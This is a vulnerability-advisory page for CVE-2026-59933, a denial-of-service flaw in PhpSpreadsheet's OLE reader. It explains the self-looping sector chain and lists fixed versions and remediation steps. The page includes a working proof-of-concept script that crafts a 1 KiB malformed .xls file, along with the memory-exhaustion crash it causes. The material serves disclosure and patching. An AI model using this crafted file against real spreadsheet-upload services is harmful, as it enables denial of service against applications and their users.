CVE-2026-59933 — Vulnerability in phpoffice/phpspreadsheet
PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.70%). Schedule for your next planned update.
Does your project use an affected phpoffice/phpspreadsheet version?
Paste your composer.lock to check it for CVE-2026-59933 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory.
This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.
Vulnerability details
OLERead::read() loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:
src/PhpSpreadsheet/Shared/OLERead.php:82reads the entire file after validating only the OLE magic.src/PhpSpreadsheet/Shared/OLERead.php:84-97reads sector-chain metadata from the file header.src/PhpSpreadsheet/Shared/OLERead.php:132-146buildsbigBlockChainand then follows the small-block depot chain.
The vulnerable loop is:
$sbdBlock = $this->sbdStartBlock;
$this->smallBlockChain = '';
while ($sbdBlock != -2) {
$pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;
$this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs);
$pos += 4 * $bbs;
$sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4);
}
There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector 0 to sector 0, the loop appends the same sector data forever until memory is exhausted.
The issue is reachable during normal reader detection/loading:
src/PhpSpreadsheet/Reader/XlsBase.php:153-165callsOLERead::read()fromcanRead().src/PhpSpreadsheet/Reader/Xls.php:376-383callsOLERead::read()fromloadOLE().src/PhpSpreadsheet/IOFactory.php:181-213callscanRead()while creating a reader for a file, so automatic format detection can trigger the issue.
Similar unbounded sector-chain walks exist later in stream reading:
src/PhpSpreadsheet/Shared/OLERead.php:175-180src/PhpSpreadsheet/Shared/OLERead.php:198-202src/PhpSpreadsheet/Shared/OLERead.php:218-222
The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.
Impact
A 1 KiB file can crash a PHP worker during Xls::canRead() or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.
The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.
Safe local proof of concept
This proof of concept uses only Docker with --network none; it creates the malformed OLE file inside the container and does not contact external infrastructure.
docker run --rm --network none -i \
-v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
-w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$data = str_repeat("\0", 1024);
$set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };
$set(0, hex2bin("D0CF11E0A1B11AE1"));
$set(28, "\xfe\xff");
$set(30, pack("v", 9)); // sector size 512
$set(32, pack("v", 6)); // mini sector size 64
$set(44, pack("l", 1)); // 1 SAT sector
$set(48, pack("l", 0)); // directory first sector 0
$set(56, pack("l", 4096)); // mini stream cutoff
$set(60, pack("l", 0)); // SSAT first sector 0
$set(64, pack("l", 1)); // one SSAT sector
$set(68, pack("l", -2)); // no MSAT extension
$set(72, pack("l", 0)); // no extension sectors
$set(76, pack("l", 0)); // DIFAT says SAT is sector 0
$set(512, pack("l", 0)); // SAT entry for sector 0 points to itself
file_put_contents("/tmp/phpspreadsheet-ole-selfloop.xls", $data);
printf("ole_size=%d\n", filesize("/tmp/phpspreadsheet-ole-selfloop.xls"));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Xls();
var_dump($r->canRead("/tmp/phpspreadsheet-ole-selfloop.xls"));
' 2>&1 || true
SH
Observed output:
ole_size=1024
PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143
PHP Stack trace:
PHP 1. {main}() Command line code:0
PHP 2. PhpOffice\PhpSpreadsheet\Reader\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4
PHP 3. PhpOffice\PhpSpreadsheet\Shared\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164
Suggested remediation
- Validate every OLE sector-chain walk with:
- a visited-sector set to reject cycles;
- maximum chain length based on file size and sector size;
- bounds checks before reading from
$this->data,$this->bigBlockChain, or$this->smallBlockChain; - rejection of negative sector IDs other than the documented end-of-chain marker.
- Replace fatal memory exhaustion with a recoverable
Reader\Exceptionfor malformed OLE chains. - Apply the same guarded chain-walk helper to:
- small-block depot chain construction;
- small-block stream extraction;
- big-block stream extraction;
readData().
- Add regression tests with self-looping and out-of-range SAT/SSAT chains.
Advisory Timeline
- First published July 23, 2026 (126 days ago).
- Last revised July 23, 2026 — 0 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
composer require "phpoffice/phpspreadsheet:^5.8.1"
composer require "phpoffice/phpspreadsheet:^2.1.18"
composer require "phpoffice/phpspreadsheet:^2.4.7"
composer require "phpoffice/phpspreadsheet:^3.10.7"
composer require "phpoffice/phpspreadsheet:^1.30.6"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (5)
Affects 1 ecosystem: Packagist (1).
| Package | Fixed In |
|---|---|
| phpoffice/phpspreadsheet Packagist · Affected: 4.0.0, 4.1.0, 4.2.0, 4.3.0 (+12 more) | 5.8.1 |
| phpoffice/phpspreadsheet Packagist · Affected: 2.0.0, 2.1.0, 2.1.1, 2.1.10 (+14 more) | 2.1.18 |
| phpoffice/phpspreadsheet Packagist · Affected: 2.2.0, 2.2.1, 2.2.2, 2.3.0 (+16 more) | 2.4.7 |
| phpoffice/phpspreadsheet Packagist · Affected: 3.10.0, 3.10.1, 3.10.2, 3.10.3 (+13 more) | 3.10.7 |
| phpoffice/phpspreadsheet Packagist · Affected: 1.0.0, 1.0.0-beta, 1.0.0-beta2, 1.1.0 (+59 more) | 1.30.6 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-400Uncontrolled Resource ConsumptionMITRE
- CWE-835
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
References
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3WEB
- https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750WEB
- https://github.com/PHPOffice/PhpSpreadsheetPACKAGE
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6WEB
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18WEB
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7WEB
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7WEB
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1WEB
Frequently Asked Questions
- What is CVE-2026-59933?
- PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
- How do I check if my project is affected by CVE-2026-59933?
- CVE-2026-59933 affects phpoffice/phpspreadsheet. It has a 0.7% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-59933 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 48.7% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-45034CRITICAL
PHPSpreadsheet has a patch bypass for CVE-2026-34084
- CVE-2026-59932HIGH
PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion
- CVE-2026-108358HIGH
PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service
- CVE-2026-59931HIGH
PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist
- CVE-2026-40902HIGH
PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions
- CVE-2026-40863HIGH
PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader
- CVE-2024-45048HIGH
XXE in PHPSpreadsheet encoding is returned
- CVE-2026-108359HIGH
PhpSpreadsheet ODS Reader: Unbounded number-rows-repeated → CPU & Memory Exhaustion (DoS)